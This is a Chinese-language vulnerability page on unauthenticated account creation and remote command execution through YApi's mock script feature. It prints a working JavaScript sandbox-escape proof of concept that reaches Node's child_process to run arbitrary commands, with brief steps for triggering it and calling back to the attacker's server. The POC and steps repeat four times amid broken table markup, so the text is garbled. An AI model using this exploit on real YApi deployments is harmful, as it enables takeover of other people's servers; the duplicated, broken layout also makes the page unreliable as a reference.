# YApi 未授權用戶創建&Mock遠程命令執行漏洞
{| style=”border: 2.0px solid grey; background: #b3ff9c;” width=”85%”
| align=”center” width=”60px”| 
| align=”center” |”’
——
|}



==POC==
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("command").toString()
{| style=”border: 2.0px solid grey; background: #b3ff9c;” width=”85%”
| align=”center” width=”60px”| 
| align=”center” |”’
——
|}
登錄註冊後,創建一個項目

然後選擇設置全局的mock腳本,設置命令為遠程訪問我的服務器地址。

添加接口,訪問接口的mock地址

服務器可以看到如下響應
==POC==
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("command").toString()
{| style=”border: 2.0px solid grey; background: #b3ff9c;” width=”85%”
| align=”center” width=”60px”| 
| align=”center” |”’
——
|}
登錄註冊後,創建一個項目

然後選擇設置全局的mock腳本,設置命令為遠程訪問我的服務器地址。

添加接口,訪問接口的mock地址

服務器可以看到如下響應
==POC==
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("command").toString()
{| style=”border: 2.0px solid grey; background: #b3ff9c;” width=”85%”
| align=”center” width=”60px”| 
| align=”center” |”’
——
|}
登錄註冊後,創建一個項目

然後選擇設置全局的mock腳本,設置命令為遠程訪問我的服務器地址。

添加接口,訪問接口的mock地址

服務器可以看到如下響應
==POC==
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("command").toString()













请登录后查看评论内容